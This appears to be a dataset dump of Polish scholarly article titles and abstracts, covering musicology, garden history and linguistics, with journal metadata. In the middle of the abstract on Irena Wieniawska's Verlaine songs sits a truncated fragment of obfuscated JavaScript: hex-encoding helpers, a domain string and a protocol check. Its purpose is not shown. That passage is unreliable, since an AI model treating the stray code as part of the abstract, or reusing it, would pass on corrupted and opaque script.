rafalposwiata/plsc huggingface dataset:
Miłość,śmierć i romantyczna "choroba wieku". Film Błękitna nuta Andrzeja Żuławskiego jako romans historyczny.

Artykuł omawia film Andrzeja Żuławskiego pt. Błękitna nuta (1990). Autor artykułu zajął się porównaniem zdarzeń przedsatawionych w filmie z ich historycznym, faktycznym kontekstem. Zasadniczą warstwę znaczeń dzieła Żuławskiego tworzy historia romansu Fryderyka Chopina i George Sand oraz kontekst życia polskiego kompozytora na emigracji we Francji. Egzystencjalne doświadczenie głownego bohatera filmu nosi znamiona romantycznej "choroby wieku", charakterystycznej dla epoki romantyzmu.

Czasopismo: Annales Universitatis Mariae Curie-Sklodowska, sectio L – Artes
Dziedziny: nauki humanistyczne, nauki społeczne
Dyscypliny: nauki o sztuce, nauki prawne
Całe życie z muzykologią. Wspomnienia uniwersyteckie z Poznania i Krakowa

Brak streszczenia w języku polskim.

Czasopismo: Annales Universitatis Mariae Curie-Sklodowska, sectio L – Artes
Dziedziny: nauki humanistyczne, nauki społeczne
Dyscypliny: nauki o sztuce, nauki prawne
Pieśni Ireny Wieniawskiej do słów Paula Verlaine'a

 W niniejszym artykule podjęto próbę interpretacji 21 pieśni Ireny Wieniawskiej (powstałych w latach 1911-1927), wykorzystujących teksty Paula Verlaine’a. Kompozytorka (1879-1932), znana także jako Madame Poldowski czy Lady Dean Paul, była córką Henryka Wieniawskiego i Izabeli Hampton-Wieniawskiej. Żyła i pracowała w Belgii oraz Wielkiej Brytanii, odbyła także podróże koncertowe do Stanów Zjednoczonych i Hiszpanii. We Francji poznała dorobek impresjonistów (m.in. Maurice’a Ravela), co w znacznym stopniu ukształtowało jej idiom twórczy.            W pierwszej części tekstu analizie poddano warstwę słowną utworów Wieniawskiej: ich wymiar treściowy oraz konstrukcyjny. Kolejny fragment został poświęcony płaszczyźnie muzycznej – autorka charakteryzuje podstawowe elementy dzieła: melodykę, akompaniament, harmonikę, fakturę i formę. W trzeciej części artykułu, w oparciu o reguły (corollaries) wyznaczone przez Henry’ego Woolletta, interpretowane są relacje słowno-muzyczne w pieśniach Madame Poldowski. Przeprowadzone analizy skłaniają do przyjęcia hipotezy o związku wokalno-instrumentalnego dorobku Lady Dean Paul z gatunkiem francuskiej mélodie, na co wskazywałaby predylekcja kompozytorki do recytatywnego traktowania głosu solowego, sylabicznego opracowania tekstu, jak również tendencja do wykorzystywania różnorodnych, skomplikowanych rozwiązań w zakresie harmoniki i formy.  Wydaje się, że estetykę twórczości pieśniowej Wieniawskiej można włączyć w krąg symbolizmu, jej elementy zaś stanowią transpozycję wyróżników tego nurtu na grunt muzyczny.   // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.umcs.pl"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e

Czasopismo: Annales Universitatis Mariae Curie-Sklodowska, sectio L – Artes
Dziedziny: nauki humanistyczne, nauki społeczne
Dyscypliny: nauki o sztuce, nauki prawne
Staropolskie pieśni nabożne z basso continuo. Zapisane w Gdańsku roku 1765

Brak streszczenia w języku polskim.

Czasopismo: Annales Universitatis Mariae Curie-Sklodowska, sectio L – Artes
Dziedziny: nauki humanistyczne, nauki społeczne
Dyscypliny: nauki o sztuce, nauki prawne
Oranżerie województwa lubelskiego w świetle polskich wzorników sztuki ogrodowej z XIX i XX wieku

Artykuł nie zawiera abstraktu w języku polskim

Czasopismo: Annales Universitatis Mariae Curie-Sklodowska, sectio L – Artes
Dziedziny: nauki humanistyczne, nauki społeczne
Dyscypliny: nauki o sztuce, nauki prawne
Kolędy i pastorałki zapisane przez Jerzego Jasińskiego, organistę kościoła parafialnego w Łabuniach na Zamojszczyźnie

W latach 60-tych ubiegłego wieku Jerzy Jasiński (1922-2006), podówczas organista kościelny w Łabuniach pod Zamościem, sporządził rękopiśmienny zbiór polskich kolęd i pastorałek, liczący trzydzieści numerowanych pozycji. Obok kolęd mniej lub bardziej znanych łabuński manuskrypt przynosi śpiewy, których nie udało się znaleźć w innych przekazach. Są to: śpiewy dotąd nieznane od strony melodycznej i tekstowej (Gloria in excelsis Deo – Idźmy prędzej, Gloria in excelsis, Gloria i Tobie, Maryja, Hej, bracia, co się dzieje, Hej, pasterze, przyszedł czas, Kyrie Pastoralis, Wesołych Świąt życzymy wam); pieśni o znanej warstwie słownej, śpiewane wszakże z inną melodią aniżeli ta, z którą ów tekst funkcjonuje w dostępnych przekazach (Ej, bracia, czyli śpicie, Jakaż to gwiazda błyszczy na wschodzie, Pasterze mili, coście widzieli); kolędy spisane z tradycji ustnej – z Wólki Łabuńskiej (A cóż z tą Dzieciną, Pastuszkowie, bracia mili, Ta noc nieszczęśliwa, W tej kolędzie, kto dziś będzie), z Łabuń (Powiedzcie pasterze mili, gdzieście potem czas chodzili) i z Tarnowa (Kolęda. Nuta z Tarnowa).Christmas Carols and Pastorals written by Jerzy Jasiński, an Organist of the Parish Church in Łabunie in Zamość regionSUMMARYIn the 1960s Jerzy Jasiński (1922-2006) the then church organist in Łabunie near Zamość wrote a handwritten collection (30 items) of Polish Christmas carols and pastorals. The Łabunie manuscript contains, apart from more or less known carols, songs which could not be found in other manuscripts. They are songs hitherto unknown from the melodic or textual aspect: (Gloria in excelsis Deo – Idźmy prędzej, Gloria in excelsis, Gloria i Tobie, Maryja, Hej, bracia, co się dzieje, Hej, pasterze, przyszedł czas, Kyrie Pastoralis, Wesołych Świąt życzymy wam); songs with known narrative but sung to a different melody than the one that functions in available sources (Jakaż to gwiazda błyszczy na wschodzie, Pasterze mili, coście widzieli); carols written down from oral tradition – from Wólka Łabuńska (A cóż z tą Dzieciną, Pastuszkowie, bracia mili, Ta noc nieszczęśliwa, W tej kolędzie, kto dziś będzie), from Łabunie (Powiedzcie pasterze mili, gdzieście po ten czas chodzili) and from Tarnów (Kolęda. Nuta z Tarnowa).

Czasopismo: Annales Universitatis Mariae Curie-Sklodowska, sectio L – Artes
Dziedziny: nauki humanistyczne, nauki społeczne
Dyscypliny: nauki o sztuce, nauki prawne
Rękopiśmienny zbiór pieśni maryjnych Józefa Urody z Buczkowic

Artykuł nie zawiera abstraktu w języku polskim

Czasopismo: Annales Universitatis Mariae Curie-Sklodowska, sectio L – Artes
Dziedziny: nauki humanistyczne, nauki społeczne
Dyscypliny: nauki o sztuce, nauki prawne
O kategorii strona czynności czasownika w ujęciu kontrastywnym niemiecko-polskim. Próba analizy semantycznej na podstawie teorii walencji

Przedmiotem artykułu jest opis porównawczy gramatycznej kategorii strony czasownika w języku niemieckim i w języku polskim. Powyższa analiza została przeprowadzona na podstawie aparatu pojęciowego, stosowanego w językoznawstwie germanistycznym. Nie oznacza to jednak pominięcia osiągnięć językoznawstwa polonistycznego. Artykuł zawiera odniesienia zarówno do publikacji starszych (Szober 1963), jak i najnowszych dokonań wybitnych językoznawców (Polański 2003, Nagórko 2006). Celem głównym jest próba przedstawienia omawianej kategorii gramatycznej w świetle teorii walencji, uwzględniając walencję czasownika zarówno na płaszczyźnie składniowej, jak i na płaszczyźnie semantycznej, co pozwala przyjąć odpowiednie tertium comparationis, stanowiące warunek konieczny dla przeprowadzenia analizy kontrastywnej.

Czasopismo: Studia Linguistica Universitatis Iagellonicae Cracoviensis
Dziedziny: nauki humanistyczne
Dyscypliny: językoznawstwo
Semantyka rzeczownika sentiment a typy struktur semantycznych: grupy typu sentiment + de + N2

Niniejszy artykuł stanowi próbę analizy struktury semantycznej francuskich grup dwuimiennych połączonych przyimkiem „de", konstytuowanych przez rzeczownik „sentiment" ze szczególnym uwzględnieniem relacji semantycznej istniejącej pomiędzy „sentiment", a rzeczownikiem w pozycji przydawki przyimkowej. Analiza ta polega głównie na określeniu miejsca, jakie sens reprezentowany przez rzeczownik podrzędny zajmuje w strukturze semantycznej implikowanej przez „sentiment". Z uwagi na przyjęte założenie, właściwe dla gramatyki SENS-TEKST Mielczuka i Żółkowskiego oraz dla składni semantycznej Karolaka, iż struktura semantyczna determinuje strukturę formalną (a nie odwrotnie), pierwsza część artykułu poświęcona jest stworzeniu eksplikacji sensu reprezentowanego przez rzeczownik „sentiment", natomiast druga – klasyfikacji korpusu według semantycznej roli rzeczownika w funkcji przydawki przyimkowej.

Czasopismo: Studia Linguistica Universitatis Iagellonicae Cracoviensis
Dziedziny: nauki humanistyczne
Dyscypliny: językoznawstwo
Czy style konwersacyjne kobiet i mężczyzn są uniwersalne?

Niniejszy artykuł wpisuje się w popularny, obecnie zwłaszcza na Zachodzie, nurt analizy języka płci, starając się włączyć w zakres tych badań także dość ubogi pod tym względem dorobek odnoszący się do języka polskiego. Tematyka pracy została zainspirowana jednym z badań przeprowadzonych w Wielkiej Brytanii. Opierając się na przeprowadzonym eksperymencie, polegającym na opisaniu przedstawionych respondentom bodźców wizualnych z udziałem 40 osób (Brytyjczyków oraz Polaków obu płci), autorka niniejszego artykułu bada takie elementy nagrań, jak przeciętna długość opisu, liczba i charakter użytych przymiotników i przysłówków, frekwencja i typologia modyfikatorów i intensyfikatorów, użycie zdrobnień, liczba użytych nazw kolorów. Analiza powyższych aspektów zachowania werbalnego kobiet i mężczyzn w obu kulturach wykazuje widoczne różnice w średniej długości przedstawionych opisów między kobietami i mężczyznami oraz różnice kulturowe. Ponadto wskazuje na znacznie bardziej emocjonalny charakter wypowiedzi kobiet (wynikający z liczby, jak również charakteru przymiotników i przysłówków oraz modyfikatorów i intensyfikatorów), szczególnie Brytyjek, a także na różnice między kobietami i mężczyznami obu narodowości, wynikające z częstego użycia zdrobnień w języku polskim.

Czasopismo: Studia Linguistica Universitatis Iagellonicae Cracoviensis
Dziedziny: nauki humanistyczne
Dyscypliny: językoznawstwo
Mandragora i belladonna – nazwy dwóch roślin magicznych

Mandragora (Mandragora officinarum L.) i pokrzyk wilcza jagoda (Atropa belladonna L.) zostały tu połączone, ponieważ ich nazwy były splecione przez wieki i nie sposób rozpatrywać je osobno z językoznawczego, a także kulturowego punktu widzenia. Celem artykułu jest przedstawienie nazw obu roślin w powiązaniu z ich właściwościami, licznymi przesądami i legendami łączącymi się z nimi. W wyniku analizy możemy stwierdzić, że wiele nazw mandragory przeszło na pokrzyk. Nazwy obu roślin w większości odbijają wiarę w magiczne ich właściwości i przechowują pamięć o ludowych zwyczajach związanych z nimi. Niektóre z nazw łączą się z rzeczywistym wyglądem i cechami rośliny. Wiele nazw przestrzega przed śmiertelnym zagrożeniem ze strony obu roślin.

Czasopismo: Studia Linguistica Universitatis Iagellonicae Cracoviensis
Dziedziny: nauki humanistyczne
Dyscypliny: językoznawstwo
Definicja ligi językowej / areału językowego. Zaproszenie do dyskusji

Artykuł ten jest poświęcony dyskusji nad definicją ligi językowej. Choć pojęcie ligi / areału jest szeroko stosowane w językoznawstwie, brak powszechnie akceptowanej definicji. Różni autorzy w odmienny sposób definiują to pojęcie, nierzadko myląc je z innymi pokrewnymi klasami pojęć (np. substrat, adstrat czy izoglosa). W konsekwencji jest ono często stosowane do opisu znacząco różniących się od siebie zjawisk. Aby uniknąć dalszego mieszania pojęć, koniecznym wydaje się odgraniczenie ich poprzez zaproponowanie spójnej, przemyślanej definicji ligi / areału.W tabeli załączonej do artykułu znajduje się zestawienie czternastu klasycznych definicji. Tabela (w wierszach) analizuje definicje pod względem obecności w nich kryteriów najczęściej pojawiających się przy definiowaniu ligi (w kolumnach). Ma to na celu uświadomienie czytelnikowi, które z tych kryteriów mogą być traktowane jako inherentne elementy definicji ligi językowej. Definicje uwzględnione w tabeli są zacytowane w załączniku na końcu artykułu. Szybki ich przegląd uświadamia, że użyte w nich wyrażenia są często nieprecyzyjne i nie zawsze przystają do formuły tabeli. Dlatego też autor w kilku miejscach był zmuszony dostosować te sformułowania do schematu tabeli, jednocześnie starając się ograniczyć interpretację, tak by nie zmienić sensu oryginalnej definicji.Artykuł składa się z trzech części: w pierwszej (1-5) przedstawiona jest dyskusja kryteriów dotychczas branych pod uwagę przy definiowaniu ligi językowej. W części drugiej (6) zaproponowano nową definicję, która rozdziela pojęcia areał i liga. Pierwsze z nich autor rezerwuje dla grup składających się z dowolnej ilości języków, które zajmują określony obszar geograficzny i posiadają w wyniku kontaktów językowych między sobą dowolną liczbę cech wspólnych (przy czym mogą to być zarówno cechy leksykalne, jak i strukturalne, bądź też obydwa typy naraz). Pojęcie ligi odnosić się ma natomiast do grup języków, które mogą się wytworzyć w ramach areału w wyniku bardzo silnego, wielokierunkowego wpływu strukturalnego. Innymi słowy, dla ligi konieczny jest wpływ strukturalny i oddziaływanie wielokierunkowe. W części trzeciej (7) autor dokonuje weryfikacji i oceny nowej definicji, opierając się na lidze bałkańskiej.

Czasopismo: Studia Linguistica Universitatis Iagellonicae Cracoviensis
Dziedziny: nauki humanistyczne
Dyscypliny: językoznawstwo
Odczuwanie stopnia trudności słownictwa w języku obcym. Poglądy nauczycieli a poglądy uczących się

Artykuł przedstawia wyniki badania odczuwania stopnia trudności słownictwa w języku obcym, przeprowadzonego wśród nauczycieli języka angielskiego i uczących się na poziomie zaawansowanym. Celem badania było ustalenie, w jakim stopniu nauczyciele i uczący się postrzegają te same słowa jako trudne lub świadczące o zaawansowaniu językowym oraz jakie stosują kryteria. Badani otrzymali tekst napisany przez osobę uczącą się języka angielskiego na poziomie zaawansowanym i ich zadaniem było zaznaczenie słów trudnych oraz podanie kryteriów wyboru. Kryteria trudności słownictwa zostały podzielone na intraleksykalne (długość słowa, pisownia, wymowa, złożoność morfologiczna, mylące podobieństwo form, cechy semantyczne, jak wieloznaczność, ograniczenia rejestru, idiomatyczność), intralingwalne (częstotliwość słowa w języku), interlingwalne (interferencja innego języka) oraz dydaktyczne (typowa sekwencja słownictwa w programach nauczania). Badanie wykazało, iż pomimo różnic w zastosowanych kryteriach trudności słów, wybór słów uznawanych za trudne przez uczących się w dużej mierze pokrywał się z wyborem słów uznanych przez nauczycieli za skomplikowane.

Czasopismo: Studia Linguistica Universitatis Iagellonicae Cracoviensis
Dziedziny: nauki humanistyczne
Dyscypliny: językoznawstwo
Uwaga w kwestii „formalizmu" językoznawstwa kognitywnego

W niniejszym artykule staram się pokazać, że standardowa charakterystyka głównego nurtu językoznawstwa kognitywnego (Lakoffa, Langackera czy Talmy'ego) jako przezwyciężenia „formalizmu Chomsky'ego" nie jest do końca słuszna. Choć propozycje wymienionych autorów rzeczywiście sytuują się bliżej funkcjonalnego bieguna językoznawstwa, to w sensie wskazanym przez Gadamera stanowią formalnie kontynuację wypracowanego przez Chomsky'ego ujęcia, które określa się mianem „mentalizmu lingwistycznego".

Czasopismo: Studia Linguistica Universitatis Iagellonicae Cracoviensis
Dziedziny: nauki humanistyczne
Dyscypliny: językoznawstwo
Błędy językowe i stylistyczne w artykułach angielskiej i polskiej encyklopedii internetowej Wikipedia

Artykuł ukazuje wyniki analizy językowej wybranych tekstów angielskiej oraz polskiej encyklopedii internetowej Wikipedia. Forma Wikipedii jest zdeterminowana przez kształt i sposób funkcjonowania internetu. Encyklopedia ta jest tworzona w całości przez ochotników, co wpływa na warstwę językową poszczególnych artykułów. Analiza ma na celu wyłonienie najczęściej spotykanych błędów językowych pojawiających się w encyklopedii. Określa najczęściej pojawiające się błędy leksykalne, gramatyczne oraz stylistyczne, wskazując na frekwencję ich występowania w obu wersjach encyklopedii. W artykule przedstawiono również cechy różnicujące polskie wydanie Wikipedii od wydania angielskiego.

Czasopismo: Studia Linguistica Universitatis Iagellonicae Cracoviensis
Dziedziny: nauki humanistyczne
Dyscypliny: językoznawstwo
Język węgierski wśród języków karpackich

Mimo wielowiekowego sąsiedztwa z kilkoma innym językami w Łuku Karpackim język węgierski nie oddziałał na swych sąsiadów pod względem strukturalnym. Niezaprzeczalnie natomiast wpłynął na kształt ich słownictwa, przy czym wpływy te nie zawsze dadzą się sprowadzić do prostego dwustronnego zapożyczania wyrazów. Najciekawszą grupą są te wyrazy, które treści karpackie otrzymały już poza językiem węgierskim. Brak oddziaływania na struktury gramatyczne czyni język węgierski w stosunku do innych języków regionu podobnym pod względem pełnionej ongiś roli do języka osmańsko-tureckiego na Bałkanach. Parafrazując termin zaproponowany przez H. W. Schallera dla oddania relacji turecko-bałkańskich, uznaje się w końcowej części artykułu za rzecz przydatną nazywanie języka węgierskiego nie "językiem karpackim", lecz "językiem Karpat".

Czasopismo: Studia Linguistica Universitatis Iagellonicae Cracoviensis
Dziedziny: nauki humanistyczne
Dyscypliny: językoznawstwo
Cztery zagadnienia gramatyki współczesnego języka hebrajskiego

1. Zdanie względne, które nie zawiera żadnej nowej informacji o składniku zdania głównego, którego jest określeniem, wyraża następujące znaczenia we współczesnym hebrajskim: a. 'jest to nieistotne, nie ma wpływu na inne zdarzenia', b. 'musi to być zaakceptowane, bo się nie da tego zmienić', c. 'nie chcę albo nie mogę bardziej szczegółowo tego opisać'. 2. Infinitivus absolutus jest formą produktywną w hebrajszczyźnie literackiej i oprócz funkcji wymienianych w opracowaniach pełni też takie, jak: a. służy do wyrażenia czynności jednoczesnej z inną czynnością, b. może być dopełnieniem przyimka lub czasownika. 3. Podmiot ogólny można wyrazić w hebrajskim przez zaimek 'ty' (w obu rodzajach, zależnie od płci mówiącego). 4. Forma יקטול w odniesieniu do przeszłości lub teraźniejszości wyraża aspekt duratywny lub iteratywny.

Czasopismo: Studia Linguistica Universitatis Iagellonicae Cracoviensis
Dziedziny: nauki humanistyczne
Dyscypliny: językoznawstwo
Wybrane zagadnienia teoretyczne związane z użyciem gramatyki kontrastywnej w nauczaniu przedimków angielskich

Artykuł poświęcony jest kwestiom związanym z zastosowaniem analiz polsko-angielskiej gramatyki kontrastywnej w nauczaniu angielskich przedimków. Autorka omawia funkcję angielskich przedimków z punktu widzenia językoznawstwa kognitywnego, a następnie porównuje znaczenie a i the z tymi leksykalnymi i morfoskładniowymi elementami języka polskiego, które pełnią role zbliżone do roli przedimka. Następnie rozważane są zalety i wady związane z wprowadzeniem do nauki gramatyki informacji metajęzykowych, dotyczących podobieństw i różnic między przedimkami a ich odpowiednikami w języku polskim. Na podstawie teoretycznej analizy problemu autorka wysuwa wniosek, że użycie analizy kontrastywnej w nauczaniu nie tylko nie pomogłoby uczniom w zrozumieniu problemu, ale dla wielu byłoby prawdopodobnie utrudnieniem w opanowaniu przedimków angielskich.

Czasopismo: Studia Linguistica Universitatis Iagellonicae Cracoviensis
Dziedziny: nauki humanistyczne
Dyscypliny: językoznawstwo
Gramatyka języka angielskiego w nauczaniu studentów polskich

Od dłuższego czasu stało się oczywiste, że gramatyka języka angielskiego jest warunkiem sine qua non w programach nauczania na filologiach angielskich w Polsce. Z tego powodu obejmują one trzy typy kursów z gramatyki: gramatykę opisową, tzw. praktyczną gramatykę języka angielskiego oraz angielsko-polską gramatykę kontrastywną. Opis tych kursów został ograniczony do przedstawienia obecnie realizowanych zajęć w Instytucie Filologii Angielskiej Uniwersytetu Jagiellońskiego. Dominującym modelem językoznawczym, w ramach którego gramatyka języka angielskiego jest wykładana studentom I i II roku, pozostaje tradycyjny strukturalizm. Celem artykułu jest zwrócenie uwagi na konieczność korzystania z podręczników opierających się na danych korpusowych. W związku z tym, że takie podręczniki są nieliczne, postuluje się włączenie odpowiednich danych z korpusów językowych do materiałów pedagogicznych, jak i stworzenie w miarę kompletnego „korpusu błędów", które pojawiają się w angielszczyźnie Polaków.

Czasopismo: Studia Linguistica Universitatis Iagellonicae Cracoviensis
Dziedziny: nauki humanistyczne
Dyscypliny: językoznawstwo
Dialog interkulturowy podczas czytania literatury w języku obcym

Bariera kulturowa jest jednym z problemów, jakie utrudniają studentom odbiór współczesnych obcojęzycznych tekstów literackich. Brak znajomości tła kulturowego lub słów i zwrotów nacechowanych kulturowo może utrudniać interpretację tekstu i w konsekwencji zniechęcić nawet zaawansowanych językowo czytelników, jakimi są studenci filologii. Jak motywować do czytania takich tekstów? Jak kształtować umiejętność krytycznego odbioru tekstów kulturowych? Punktem wyjścia jest założenie, że czytając literaturę obcojęzyczną stajemy się aktywnymi uczestnikami spotkania międzykulturowego. W tej roli niezbędne jest zarówno zaangażowanie emocjonalne, jak i racjonalna argumentacja. Wydaje się zatem, że ćwiczenia służące rozwijaniu nawyku dialogowania z tekstem, jego autorem, a także z innymi czytelnikami, są obiecującą alternatywą dla typowych zadań, polegających na odpowiadaniu na pytania sprawdzające stopień rozumienia tekstu.

Czasopismo: Studia Linguistica Universitatis Iagellonicae Cracoviensis
Dziedziny: nauki humanistyczne
Dyscypliny: językoznawstwo
Wikipedia jako encyklopedia – analiza ankiety

Artykuł przedstawia wyniki ankiety przeprowadzonej wśród autorów encyklopedii internetowej Wikipedia, w całości tworzonej przez ochotników. Pytania ankiety dotyczyły koncepcji kształtu dobrego artykułu hasłowego, sytuacji, w których twórcy decydują się na dokonanie zmian w już istniejących artykułach, opinii autorów na temat warstwy językowej Wikipedii, sfer różniących ją od jej tradycyjnych odpowiedników oraz istnienia idei, które reprezentuje wolna encyklopedia. Celem ankiety było określenie stopnia świadomości gatunkowej wśród twórców Wikipedii, świadomości jej odmienności od encyklopedii tradycyjnych oraz stosunku autorów do idei wolnej encyklopedii.

Czasopismo: Studia Linguistica Universitatis Iagellonicae Cracoviensis
Dziedziny: nauki humanistyczne
Dyscypliny: językoznawstwo